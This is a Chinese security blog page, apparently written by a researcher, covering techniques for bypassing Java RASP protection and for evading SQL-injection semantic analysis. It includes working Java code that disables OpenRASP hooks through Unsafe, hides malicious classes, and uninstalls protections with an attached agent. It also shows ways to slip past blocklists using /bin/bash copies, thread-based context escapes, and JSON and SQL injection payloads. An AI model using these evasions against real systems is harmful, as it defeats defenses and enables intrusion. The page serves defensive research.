class="keyword">int</span>.class, <span class="keyword">byte</span>[].class, <span class="keyword">int</span>[].class, <span class="keyword">boolean</span>.class);</span><br><span class="line">exec.setAccessible(<span class="keyword">true</span>);</span><br><span class="line">exec.invoke(obj, <span class="number">2</span>, path, prog, argBlock, argc, <span class="keyword">null</span>, <span class="number">0</span>, <span class="keyword">null</span>, ineEmpty, <span class="keyword">false</span>);</span><br></pre></td></tr></table></figure>
<p>通过反射，也可以对运行时相关变量进行修改。（相当于破坏RASP运行时结构的另一种手法）</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">Class clazz = Class.forName(<span class="string">"com.baidu.openrasp.HookHandler"</span>);</span><br><span class="line">Unsafe unsafe = getUnsafe();</span><br><span class="line">InputStream inputStream = clazz.getResourceAsStream(clazz.getSimpleName() + <span class="string">".class"</span>);</span><br><span class="line"><span class="keyword">byte</span>[] data = <span class="keyword">new</span> <span class="keyword">byte</span>[inputStream.available()];</span><br><span class="line">inputStream.read(data);</span><br><span class="line">Class anonymousClass = unsafe.defineAnonymousClass(clazz, data, <span class="keyword">null</span>);</span><br><span class="line">Field field = anonymousClass.getDeclaredField(<span class="string">"enableHook"</span>);</span><br><span class="line">unsafe.putObject(clazz, unsafe.staticFieldOffset(field), <span class="keyword">new</span> AtomicBoolean(<span class="keyword">false</span>));</span><br></pre></td></tr></table></figure>
<p>对生成的恶意类进行隐藏。通过defineAnonymousClass生成的VM Anonymous Class具备如下特征：</p>
<ol>
<li>class名可以是已存在的class的名字，比如java.lang.File，即使如此也不会发生任何问题，java的动态编译特性将会在内存中生成名如 java.lang.File/13063602@38ed5306的class。 —将会使类名极具欺骗性</li>
<li>该class的classloader为null。 —在java中classloader为null的为来自BootstrapClassLoader的class，往往会被认定为jdk自带class</li>
<li>在JVM中存在大量动态编译产生的class（多为lamada表达式生成），这种class均不会落盘，所以不落盘并不会属于异常特征。 </li>
<li>无法通过Class.forName()获取到该class的相关内容。 —严重影响通过反射排查该类安全性的检测工具</li>
<li>在部分jdk版本中，VM Anonymous Class甚至无法进行restransform。 —这也就意味着我们无法通过attach API去修复这个恶意类</li>
<li>该class在transform中的className将会是它的模板类名。 —这将会对那些通过attach方式检测内存马的工具造成极大的误导性<h4 id="获取UnSafe的手法"><a href="#获取UnSafe的手法" class="headerlink" title="获取UnSafe的手法"></a>获取UnSafe的手法</h4>基于反射获取（很多RASP、木马检测已把反射获取UnSafe拉黑），<figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">static</span> Unsafe <span class="title">getUnsafe</span><span class="params">()</span> </span>{</span><br><span class="line"> Unsafe unsafe = <span class="keyword">null</span>;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> Field field = Unsafe.class.getDeclaredField(<span class="string">"theUnsafe"</span>);</span><br><span class="line"> field.setAccessible(<span class="keyword">true</span>);</span><br><span class="line"> unsafe = (Unsafe) field.get(<span class="keyword">null</span>);</span><br><span class="line"> } <span class="keyword">catch</span> (Exception e) {</span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> AssertionError(e);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> unsafe;</span><br><span class="line"> }</span><br></pre></td></tr></table></figure>
unsafe本身在大量主流框架中都有使用（如gson、netty等），所以完全可以通过反射获取别的框架已经创建好的现成的unsafe变量，甚至直接调用这些框架写好的重新打包的unsafe相关的API<img src="/2023/06/11/rasp_tricks/16.png" class="" title="img16">
想办法制造BootStrap恶意类，直接通过Unsafe.getUnsafe()来获取UnSafe。<h2 id="一些特殊场景下的RASP绕过手法"><a href="#一些特殊场景下的RASP绕过手法" class="headerlink" title="一些特殊场景下的RASP绕过手法"></a>一些特殊场景下的RASP绕过手法</h2></li>
</ol>
<h3 id="兼容性差异"><a href="#兼容性差异" class="headerlink" title="兼容性差异"></a>兼容性差异</h3><p>大部分RASP不会自写json解析引擎，而会去选择RASP使用的语言的先有json解析框架，以JAVA为例，大部分RASP框架会选用Gson（好用又安全）作为自己的json解析框架，而应用往往选择的json解析框架是不确定的（fastjson、gson、jackson都有可能），那么如果一旦一个应用使用的json解析框架的兼容性大于了RASP使用框架的兼容性，绕过就会存在。</p>
<p>举例说明，fastjson作为一款主流json解析框架，兼容性是比gson高的。其中fastjson支持在不同k-v之间插上任意数量的逗号，而Gson不支持，那么当需要解析参数的相关漏洞（SQL注入、SSRF）存在RASP防御，一下手法就可以绕过RASP的防御。</p>
<figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">{,,,,<span class="attr">"user"</span>:<span class="string">"glassy' and '1'='1"</span>,,,<span class="attr">"content"</span>:<span class="string">"test"</span>,,}</span><br></pre></td></tr></table></figure>
<p>再举一个例子，fastjson在支持数据的unicode编码的同事，对于\u后面的数字，是支持异性字的，而gson和jackson仅仅支持unicode编码，却并不支持\u后面的数字的异性字，这样的话，可以构造出极具欺骗性的payload，技能欺骗RASP又能欺骗WAF。<br>通过异形字构造出的json数据如下：</p>
<figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">json数据：{<span class="attr">"\u౦᥆༦۳\u꘠០६f\u꯰꧐໖e\u౦꣐꘧᪄\u꯰༠߆५\u૦၀६e\u๐᥆꤇꯴"</span>:<span class="string">"\u᮰߀٧൪\u໐୦᱆૮\u꣐០႖߉\u੦᠐௭౩\u၀୦꧒๐\u٠૦೬߉\u᮰୦೭߃\u᱀०٢۰\u೦൦൬୭\u୦൦᧖c\u០૦۶᱁\u᧐႐୭٣\u០᱐᧗౩\u০᱀۷᪙"</span>,<span class="attr">"\u၀꯰꩖e\u႐꘠७꧕\u᥆୦༦d"</span>:<span class="number">1</span>}</span><br><span class="line">json反序列化为的Object：{<span class="attr">"num"</span>:<span class="number">1</span>,<span class="attr">"content"</span>:<span class="string">"this is glassy"</span>}</span><br></pre></td></tr></table></figure>
<h3 id="突破语义分析"><a href="#突破语义分析" class="headerlink" title="突破语义分析"></a>突破语义分析</h3><p>传统意义上的SQL注入绕过，在于寻觅黑名单之外的敏感函数、大量编码、注释引起的混淆等，但是语义分析层面上，由于关注的是语义结构的变化，那么以上手法往往会比较无力。下面的示例中会展示如何突破Druid的语义分析防御。<br>基于未兼容关键字<br>mysql除可使用select查询表中的数据，也可使用handler语句，这条语句使我们能够一行一行的浏览一个表中的数据。而Druid的最新版本也未兼容handler关键字，那么若遇到使用Druid进行语义分析的RASP，便可以使用Handler关键字破坏语义分析引擎运行。</p>
<img src="/2023/06/11/rasp_tricks/17.png" class="" title="img17">
<h3 id="巧妙利用熔断"><a href="#巧妙利用熔断" class="headerlink" title="巧妙利用熔断"></a>巧妙利用熔断</h3><p>处于性能相关的考虑，很多RASP产品存在性能相关防护（一般默认关闭），为了防止RASP对业务性能造成较大影响，当整机CPU到达某个阈值的情况下，RASP往往会自动熔断。</p>
<img src="/2023/06/11/rasp_tricks/18.png" class="" title="img18">
<p>基于此特性，在部署RASP的应用上，可以尝试猛打某一条payload，把机器CPU打到RASP熔断的阈值，便可以成功绕过RASP防御。在拥有代码执行权限的情况下，完全可以刻意构造高性能消耗代码做到一条payload（如复杂正则、循环堆栈获取）即可成功让RASP熔断并执行命令。</p>
<h3 id="还是熟悉的大包绕过"><a href="#还是熟悉的大包绕过" class="headerlink" title="还是熟悉的大包绕过"></a>还是熟悉的大包绕过</h3><p>众所周知，WAF的防御经常收到大包绕过的困扰，无独有偶，RASP也会面临同样的问题。但二者在原理上有着本质的区别。<br>WAF的大包绕过主要由于WAF本身的性能问题。<br>而RASP的大包问题，则出于内存保护考虑。不过，一般较为成熟的RASP会把自己的最大body读取设置为一个中间件能承受的最大body以上，但是一旦中间件有过特殊配置，或是一些对最大body未做限制的中间件，那么RASP便存在被打包绕过的可能性。</p>
<h3 id="JDK官方提供的JNI-HOOK方案绕过"><a href="#JDK官方提供的JNI-HOOK方案绕过" class="headerlink" title="JDK官方提供的JNI HOOK方案绕过"></a>JDK官方提供的JNI HOOK方案绕过</h3><p>JDK官方提供了setNativeMethodPrefix作为Hook JNI的一种手段。很多插桩类产品，使用该方案解决JNI的埋点问题。</p>
<img src="/2023/06/11/rasp_tricks/19.png" class="" title="img19">
<img src="/2023/06/11/rasp_tricks/20.png" class="" title="img20">
<p>此功能允许指定前缀并进行适当的分辨率。 具体而言，当标准分辨率失败时，考虑前缀重试分辨率。 有两种方法可以解决分辨率，使用JNI功能RegisterNatives显式分辨，以及正常的自动分辨率。 对于RegisterNatives ，JVM将尝试此关联：<br> method(foo) -> nativeImplementation(foo)<br>如果失败，将使用前缀为方法名称的指定前缀重试分辨率，从而产生正确的分辨率：</p>
<p> method(wrapped_foo) -> nativeImplementation(foo) </p>
<p>对于自动解析，JVM将尝试：</p>
<p> method(wrapped_foo) -> nativeImplementation(wrapped_foo) </p>
<p>如果失败，将使用从实现名称中删除的指定前缀重试解决方案，从而产生正确的解决方案：</p>
<p> method(wrapped_foo) -> nativeImplementation(foo) </p>
<p>请注意，由于前缀仅在标准分辨率失败时使用，因此可以选择性地包装本机方法。</p>
<p>因此，若RASP使用的是setNativeMethodPrefix的方式去解决jni的HOOK，那攻击者无需再去纠结于调用exec函数，而直接选择调用 glassy_exec函数即可绕过。</p>
<h3 id="黑名单绕过手段"><a href="#黑名单绕过手段" class="headerlink" title="黑名单绕过手段"></a>黑名单绕过手段</h3><p>存在部分RASP，仅仅进行黑名单\白名单进行安全防护，这种防护方式非常无脑，但在很多场景下效果都还不错。但我们可以有多种方法使得我们执行的命令不再是黑名单命令。</p>
<p>当应用存在的漏洞是一个代码执行漏洞，而 /bin/bash 命令被拉黑了的时候，我们通过Java的代码可以创造一个新的bash。</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//copy方式</span></span><br><span class="line">Files.copy(Paths.get(<span class="string">"/bin/bash"</span>), Paths.get(<span class="string">"/tmp/glassy"</span>));</span><br><span class="line"><span class="comment">//软连接方式</span></span><br><span class="line">Files.createSymbolicLink(Paths.get(<span class="string">"/tmp/amadeus"</span>), Paths.get(<span class="string">"/bin/bash"</span>));</span><br><span class="line"><span class="comment">//硬链接方式</span></span><br><span class="line">Files.createLink(Paths.get(<span class="string">"/tmp/amadeus"</span>), Paths.get(<span class="string">"/bin/bash"</span>));</span><br></pre></td></tr></table></figure>
<p>接下来就可以使用一个非黑名单的bash文件进行相关操作</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Runtime.getRuntime().exec(<span class="string">"/tmp/glassy -c XXXX"</span>);</span><br></pre></td></tr></table></figure>
<p>当然在命令执行的时候，cp\alias\export若不在黑名单里，则可以不依赖Java API也能实现类似效果。</p>
<h3 id="上下文检测逃逸"><a href="#上下文检测逃逸" class="headerlink" title="上下文检测逃逸"></a>上下文检测逃逸</h3><p>基于新建线程实现上下文逃逸</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> java.io.IOException;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">NewThread</span> </span>{</span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="title">NewThread</span><span class="params">()</span> </span>{</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">static</span>{</span><br><span class="line"> Thread t = <span class="keyword">new</span> Thread(<span class="keyword">new</span> Runnable() {</span><br><span class="line"> <span class="meta">@Override</span></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">run</span><span class="params">()</span> </span>{</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> Runtime.getRuntime().exec(<span class="string">"open /System/Applications/Calculator.app/"</span>);</span><br><span class="line"> } <span class="keyword">catch</span> (IOException e) {</span><br><span class="line"> e.printStackTrace();</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> });</span><br><span class="line"> t.start();</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<p>基于线程池实现上下文逃逸</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> java.io.IOException;</span><br><span class="line"><span class="keyword">import</span> java.util.concurrent.ExecutorService;</span><br><span class="line"><span class="keyword">import</span> java.util.concurrent.Executors;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">ThreadPool</span> </span>{</span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="title">ThreadPool</span><span class="params">()</span> </span>{</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">static</span> {</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> ExecutorService newCachedThreadPool = Executors.newCachedThreadPool();</span><br><span class="line"> newCachedThreadPool.execute(<span class="keyword">new</span> Runnable() {</span><br><span class="line"> <span class="meta">@Override</span></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">run</span><span class="params">()</span> </span>{</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> Runtime.getRuntime().exec(<span class="string">"open /System/Applications/Calculator.app/"</span>);</span><br><span class="line"> } <span class="keyword">catch</span> (IOException e) {</span><br><span class="line"> e.printStackTrace();</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> });</span><br><span class="line"> } <span class="keyword">catch</span> (Exception e) {</span><br><span class="line"></span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p>基于gc实现上下文逃逸</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> java.lang.ref.WeakReference;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">TestGc</span> </span>{</span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="title">TestGc</span><span class="params">()</span> </span>{</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="meta">@Override</span></span><br><span class="line"> <span class="function"><span class="keyword">protected</span> <span class="keyword">void</span> <span class="title">finalize</span><span class="params">()</span> <span class="keyword">throws</span> Throwable </span>{</span><br><span class="line"> Runtime.getRuntime().exec(<span class="string">"open /System/Applications/Calculator.app/"</span>);</span><br><span class="line"> <span class="keyword">super</span>.finalize();</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">static</span> {</span><br><span class="line"> TestGc testGc = <span class="keyword">new</span> TestGc();</span><br><span class="line"> WeakReference<TestGc> weakPerson = <span class="keyword">new</span> WeakReference<TestGc>(testGc);</span><br><span class="line"> testGc = <span class="keyword">null</span>;</span><br><span class="line"> System.gc();</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<h3 id="花式卸载RASP"><a href="#花式卸载RASP" class="headerlink" title="花式卸载RASP"></a>花式卸载RASP</h3><p>很多Java应用中，存在着多个Java Agent的情况，比如，有一些Java应用既安装了APM、又安装了RASP，Java的Instrument在处理众多的Agent的时候，会根据加载顺序，依次调用对应的Transformer，那么只要能够保证最后一个加载的Agent，那么就拥有被加强Class的字节码的最终决定权。</p>
<p>当取到一个代码执行权限后，完全可以做到新Attach一个Agent（此时这个Agent晚于RASP），再将由RASP增强的Class字节码还原回没有安全防护的字节码。（这里会有高版本JDK禁止attach self问题，但该防护也能通过反射关闭。）<br>Attach相关代码</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">String path = System.getenv(<span class="string">"JAVA_HOME"</span>) + <span class="string">"/lib/tools.jar"</span>;</span><br><span class="line">String pid = java.lang.management.ManagementFactory.getRuntimeMXBean().getName().split(<span class="string">"@"</span>)[<span class="number">0</span>];</span><br><span class="line">String payload = <span class="string">"uninstall.jar"</span>;</span><br><span class="line">ClassLoader classLoader = getCustomClassloader(<span class="keyword">new</span> String[]{path});</span><br><span class="line">Class virtualMachineClass = classLoader.loadClass(<span class="string">"com.sun.tools.attach.VirtualMachine"</span>);</span><br><span class="line">Object virtualMachine = invokeStaticMethod(virtualMachineClass, <span class="string">"attach"</span>, <span class="keyword">new</span> Object[]{pid});</span><br><span class="line">invokeMethod(virtualMachine, <span class="string">"loadAgent"</span>, <span class="keyword">new</span> Object[]{payload});</span><br><span class="line">invokeMethod(virtualMachine, <span class="string">"detach"</span>, <span class="keyword">null</span>);</span><br></pre></td></tr></table></figure>
<p>uninstall.jar相关代码（卸载了命令执行、文件操作相关的防护）</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> List<String> uninstallClass = Arrays.asList(<span class="string">"java.lang.UNIXProcess"</span>, <span class="string">"java.io.FileInputStream"</span>, <span class="string">"java.io.File"</span>, <span class="string">"java.io.FileOutputStream"</span>, <span class="string">"java.nio.file.Files"</span>);</span><br><span class="line"></span><br><span class="line"><span class="meta">@Override</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">byte</span>[] transform(ClassLoader loader, String className,</span><br><span class="line"> Class<?> classBeingRedefined, ProtectionDomain protectionDomain,</span><br><span class="line"> <span class="keyword">byte</span>[] classfileBuffer) <span class="keyword">throws</span> IllegalClassFormatException {</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (className != <span class="keyword">null</span>) {</span><br><span class="line"> String name = className.replace(<span class="string">"/"</span>, <span class="string">"."</span>);</span><br><span class="line"> <span class="keyword">if</span> (uninstallClass.contains(name)) {</span><br><span class="line"> System.out.println(<span class="string">"Got it in retransformClasses !!! "</span> + className);</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> ClassPool pool = ClassPool.getDefault();</span><br><span class="line"> CtClass ctClass = pool.get(name);</span><br><span class="line"> <span class="keyword">byte</span>[] oldByte = ctClass.toBytecode();</span><br><span class="line"> <span class="keyword">if</span> (!Arrays.equals(oldByte, classfileBuffer)) {</span><br><span class="line"> System.out.println(<span class="string">"Do repair for transform class !!! ClassName: "</span> + className);</span><br><span class="line"> <span class="keyword">return</span> oldByte;</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">null</span>;</span><br><span class="line"> }</span><br><span class="line"> } <span class="keyword">catch</span> (Throwable throwable) {</span><br><span class="line"> System.out.println(<span class="string">"Error in transform !!! ClassName: "</span> + className);</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">null</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<h2 id="RASP攻防的核心思想总结"><a href="#RASP攻防的核心思想总结" class="headerlink" title="RASP攻防的核心思想总结"></a>RASP攻防的核心思想总结</h2><h3 id="未来RASP攻防下的思考-攻击者方向"><a href="#未来RASP攻防下的思考-攻击者方向" class="headerlink" title="未来RASP攻防下的思考-攻击者方向"></a>未来RASP攻防下的思考-攻击者方向</h3><p>对于攻击者，一旦能发现RASP未能覆盖的代码执行权限的漏洞，寻找代码执行和RASP覆盖的恶意行为之间的灰色空间，便是突破RASP防护的主要方向。<br>这个方向又可以拆分成三个重点分支：</p>
<ol>
<li>切割堆栈破坏上下文</li>
<li>破坏RASP运行态</li>
<li>寻找非RASP语言侧的代码执行</li>
</ol>
<h3 id="未来RASP攻防下的思考-RASP方向"><a href="#未来RASP攻防下的思考-RASP方向" class="headerlink" title="未来RASP攻防下的思考-RASP方向"></a>未来RASP攻防下的思考-RASP方向</h3><p>RASP方向上，为了尽可能的去防止攻击者去寻找这片灰色空间，需要将防护的视角不仅仅放在恶意行为的终点侧，也需要在触发漏洞的源头（如表达式、引擎、反序列化）去做相应的规则，不让攻击者去拿到这个代码执行权限。</p>
</div>
<footer class="post-footer">
<div class="post-eof"></div>
</footer>
</article>
</div>
<div class="post-block">
<article itemscope itemtype="http://schema.org/Article" class="post-content" lang="">
<link itemprop="mainEntityOfPage" href="https://glassyamadeus.github.io/2023/04/30/sql_tricks/">
<span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
<meta itemprop="image" content="/images/glassyAmadeus.jpeg">
<meta itemprop="name" content="Glassy@Amadeus">
</span>
<span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
<meta itemprop="name" content="Glassy@Amadeus's Zone">
<meta itemprop="description" content="Security&Development.">
</span>
<span hidden itemprop="post" itemscope itemtype="http://schema.org/CreativeWork">
<meta itemprop="name" content="undefined | Glassy@Amadeus's Zone">
<meta itemprop="description" content="">
</span>
<header class="post-header">
<h2 class="post-title" itemprop="name headline">
<a href="/2023/04/30/sql_tricks/" class="post-title-link" itemprop="url">突破SQL注入语义分析算法的黑魔法</a>
</h2>
<div class="post-meta-container">
<div class="post-meta">
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="far fa-calendar"></i>
</span>
<span class="post-meta-item-text">Posted on</span>
<time title="Created: 2023-04-30 12:00:00" itemprop="dateCreated datePublished" datetime="2023-04-30T12:00:00+08:00">2023-04-30</time>
</span>
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="far fa-calendar-check"></i>
</span>
<span class="post-meta-item-text">Edited on</span>
<time title="Modified: 2024-09-27 14:42:57" itemprop="dateModified" datetime="2024-09-27T14:42:57+08:00">2024-09-27</time>
</span>
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="far fa-folder"></i>
</span>
<span class="post-meta-item-text">In</span>
<span itemprop="about" itemscope itemtype="http://schema.org/Thing">
<a href="/categories/%E5%BA%94%E7%94%A8%E5%AE%89%E5%85%A8/" itemprop="url" rel="index"><span itemprop="name">应用安全</span></a>
</span>
</span>
</div>
</div>
</header>
<div class="post-body" itemprop="articleBody">
<h2 id="引言"><a href="#引言" class="headerlink" title="引言"></a>引言</h2><p>当下，语义分析算法因其轻规则、低误漏报、更贴合业务场景等优势被广泛应用于各类型的安全防护产品中，并取得了较好的效果，但现阶段依旧存在一些方法能够有效突破传统语义分析防护，本文会介绍部分SQL注入场景下突破语义分析算法的黑魔法。</p>
<h2 id="语义-词法分析概述"><a href="#语义-词法分析概述" class="headerlink" title="语义\词法分析概述"></a>语义\词法分析概述</h2><h3 id="词法分析"><a href="#词法分析" class="headerlink" title="词法分析"></a>词法分析</h3><p>现阶段，SQL注入的词法分析主流分为两类：</p>
<p>1.基于弱规则词法黑名单</p>
<p>2.基于词法Token变化</p>
<p>其中基于弱规则词法黑名单的算法被用于大家熟知的<a target="_blank" rel="noopener" href="https://github.com/client9/libinjection">Libinjection</a>，主要通过将用户的输入进行Token化，然后再去匹配一份维护好了的SQL注入黑名单规则库，从而有效发现SQL注入问题。</p>
<p>其中各种输入对应词法如下，</p>
<img src="/2023/04/30/sql_tricks/1.png" class="" title="img1">
<p>检测SQL注入的流程如下，</p>
<img src="/2023/04/30/sql_tricks/2.png" class="" title="img2">
<p>而基于Token变化的检测算法，规则比上述算法更弱，只需计算用户的输入是否横跨了多个Token，如果横跨了多个Token则判断为存在SQL注入，</p>
<img src="/2023/04/30/sql_tricks/3.png" class="" title="img3">
<h3 id="语义分析"><a href="#语义分析" class="headerlink" title="语义分析"></a>语义分析</h3><p>和词法分析相比，语义分析会做的更加细致，它不仅仅关注SQL的Token，更会去关注用户的输入对具体的SQL结构造成了怎样的改变，这样能够更大程度的解决词法分析仅仅基于Token造成的误报问题。</p>
<img src="/2023/04/30/sql_tricks/4.png" class="" title="img4">
<img src="/2023/04/30/sql_tricks/5.png" class="" title="img5">
<p>对于一些运行时安全防护产品而言，由于运行在应用中，可以直接获取到完整的SQL语句，语义分析的准确率往往较高，而对于传统流量型安全防护产品而言，由于只能获取到流量中的用户输入参数，无法知道真实运行的SQL语句是什么样的，就需要额外的工作，大体分为两类：</p>
<ol>
<li>SQL片段分析：需要基于 Context Free Grammer ，最大的挑战是时间复杂度和准确率。</li>
<li>构造完整的SQL语句：主流安全产品会假设用户输入参数为 数字型、字符型 两种场景，将参数拼接到简化的SQL语句中构成完整的SQL语句，进而进行语义分析。但很多时候会出现关键字拼接参数（如IN、GROUP BY、ORDER BY等）的场景，这种情况下语义分析准确率就会下降，而如果尽可能的穷举了用户参数的拼接场景，则会造成性能的不可控。</li>
</ol>
<h2 id="绕过思路"><a href="#绕过思路" class="headerlink" title="绕过思路"></a>绕过思路</h2><h3 id="预期外的SQL特性"><a href="#预期外的SQL特性" class="headerlink" title="预期外的SQL特性"></a>预期外的SQL特性</h3><h4 id="原理"><a href="#原理" class="headerlink" title="原理"></a>原理</h4><p>语义分析会面临的一个最大的难题就是：虽然大部分的数据库语法都比较相似，但不同数据库之间又都有自己独有的一些特性在里面，这样如果攻击者对某一款数据库足够了解，就可能通过一些特殊的SQL特性进行SQL注入，而语义分析之前又未能兼容该特性，从而导致语义分析引擎报错，失去检测能力。</p>
<h4 id="巧用ODBC"><a href="#巧用ODBC" class="headerlink" title="巧用ODBC"></a>巧用ODBC</h4><p>ODBC是一个大部分SQL都支持的特性，官方介绍如下</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">{identifier expr} is ODBC escape syntax and is accepted for ODBC compatibility. The value is expr. The { and } curly braces in the syntax should be written literally; they are not metasyntax as used elsewhere in syntax descriptions.</span><br></pre></td></tr></table></figure>
<p>由于ODBC本身的自由性，可以构造出很多非常复杂的SQL语句，从而导致语义分析很难进行识别，</p>
<img src="/2023/04/30/sql_tricks/6.png" class="" title="img6">
<h4 id="psql并不认识转义字符"><a href="#psql并不认识转义字符" class="headerlink" title="psql并不认识转义字符"></a>psql并不认识转义字符</h4><p>几乎大部分主流语义分析引擎、主流数据库都将 \ 理解为转义字符，但PSQL并不这么理解，对 \ 理解上的差异使得绕过PSQL变得十分容易，</p>
<img src="/2023/04/30/sql_tricks/8.png" class="" title="img8">
<h4 id="神奇的科学计数法"><a href="#神奇的科学计数法" class="headerlink" title="神奇的科学计数法"></a>神奇的科学计数法</h4><p>科学符号，特别是 e 符号，已被集成到包括 SQL 在内的许多编程语言中。目前还不清楚这是否是所有 SQL 实现的一部分，但它是 MySQL/MariaDB 实现的一部分。当e符号在无效的上下文中使用的时候，并不会导致SQL报错，而是会被SQL自行忽略，这就导致了SQL注入时的Payload可以通过大量无效科学符号来影响语义分析引擎对SQL语句的解析。</p>
